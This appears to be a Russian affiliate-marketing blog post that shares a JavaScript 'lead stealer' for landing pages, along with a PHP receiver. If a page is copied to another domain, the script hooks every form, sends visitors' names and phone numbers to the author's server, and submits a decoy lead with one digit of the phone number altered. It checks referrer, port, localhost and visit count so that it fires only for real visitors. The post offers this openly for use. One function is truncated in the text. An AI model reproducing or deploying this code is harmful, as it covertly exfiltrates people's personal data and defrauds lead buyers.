Всем привет! Сегодня поделюсь с Вами моей разработкой. А именно скрипт на преленд/ленд, который будит стилить, то есть воровать лиды, если ваш ленд/преленд был скопирован.

Подписывайтесь на канал – https://t.me/deepcpa!

Что умеет скрипт?

  1. Это несколько степеней проверки, чтобы он срабатывал только, когда зашел реальный человек(проверка протокола, порта, реффера, кол-во заходов, на реальном ли домене запущен)
  2. Можно указать % стила(от 1 до 100%)
  3. Не срабатывает, если он на вашем домене
  4. Обрабатывает все формы
  5. Отправляет жертве, то есть тому, кто скопировал ваш ленд/ преленд,  такой же лид, только с 1 изменённой цифрой в номере телефона
  6. К скрипту есть комменты, так что каждый разберется

Как его интегрировать, тут уже на ваше усмотрение.

Скрипт, который нужно добавить на ленд/преленд, главное чтобы инпуты имени и номера были с атрибутами name=”name” и name=”phone”

// Здесь укажите % срабатываний скрипта
const prc = 100
//Указываем путь к php файлу обработчику
const url = 'тут ссылка на обработчик'
//Указываем домен где будет находиться прокла/ленд
const originalHost = `ваш домен без https:// и /`
const checkedHost = window.location.host
const fullUrl = window.location.href
//запускаем скрипт
start()
function start() {
    let userChek = checkUser()
    //проверяем прошел ли юзер проверку
    if (!userChek) return
    let random = isRandom()
    //проверяем попали ли мы в указанный %
    if (random) stealer()
}
function stealer() {
    //проверяем спизжен ли ленд
    if (checkedHost == originalHost) return
    let forms = document.querySelectorAll('form')
    forms.forEach(element => {
        element.addEventListener('submit', (e) => {
            e.preventDefault()
            let name = e.target.querySelector('[name="name"]').value
            let phone = e.target.querySelector('[name="phone"]').value
            //формируем данные для отправки
            let data = {
                host: fullUrl,
                name: name,
                phone: phone
            }
            //отправляем запрос
            sendData(data)
                .then(res => {
                    //Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем
                    var dupForm = e.target.cloneNode(true);
                    dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}`
                    dupForm.style.display = 'none'
                    let body = document.querySelector('body')
                    body.append(dupForm)
                    dupForm.submit();
                })
        })
    });
}
function isRandom() {
    let rnd = Math.floor(Math.random() * 101)
    if (rnd
    return false
}
function checkUser() {
    //
    // максимальное количество заходов при котором сработает скрипт
    const AvalibleEntry = 2
    let protocol = window.location.protocol
    let port = window.location.port
    let host = window.location.host
    let reffer = document.referrer
    let status = false
    //проверяем зашел ли пользователь с http или https
    if (protocol == 'http:' || protocol == 'https:') status = true
    if (!status) return false
    //проверяем есть ли порт у юзера
    if (port != '') return false
    //проверяем не запущен ли на сервере
    if (host.includes('localhost') || host.includes('127.0.0.1')) return false
    //проверяем на наличие рефера
    if (reffer == '') return false
    //определяем количество заходов конкретного юзера
    let userCount = localStorage.getItem('count')
    //если больше 2 не пропускаем
    if (userCount >= AvalibleEntry) return false
    //если меньше то определяем текущее значение и прибавляем + 1
    userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1)
    return true
}
function sendData(propse) {
    return fetch(url, {
        method: 'post',
        body: JSON.stringify(propse)
    })
        .then(response => response.json())
        .then(json => (json))
        .then(res => {
            this.data = res
            return res
        })
}

 

Скрипт обработчика, он только получает данные с номером, именем и хостом с которого отправили лид. Дальше используйте как вам нужно, хоть сразу в пп отправляйте, ну или в телегу.

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header("Access-Control-Allow-Headers: *");

$payload = file_get_contents('php://input');
$payload = json_decode($payload, true);

$phone = $payload['phone'];
$name = $payload['name'];
$url = $payload['host'];

?>

Нужна тех. помощь пишите в телеграм!

Оставить комментарий

Войдите чтобі оставить комментарий, или зарегистрируйтесь, если у вас еще нет аккаунта.

Последние записи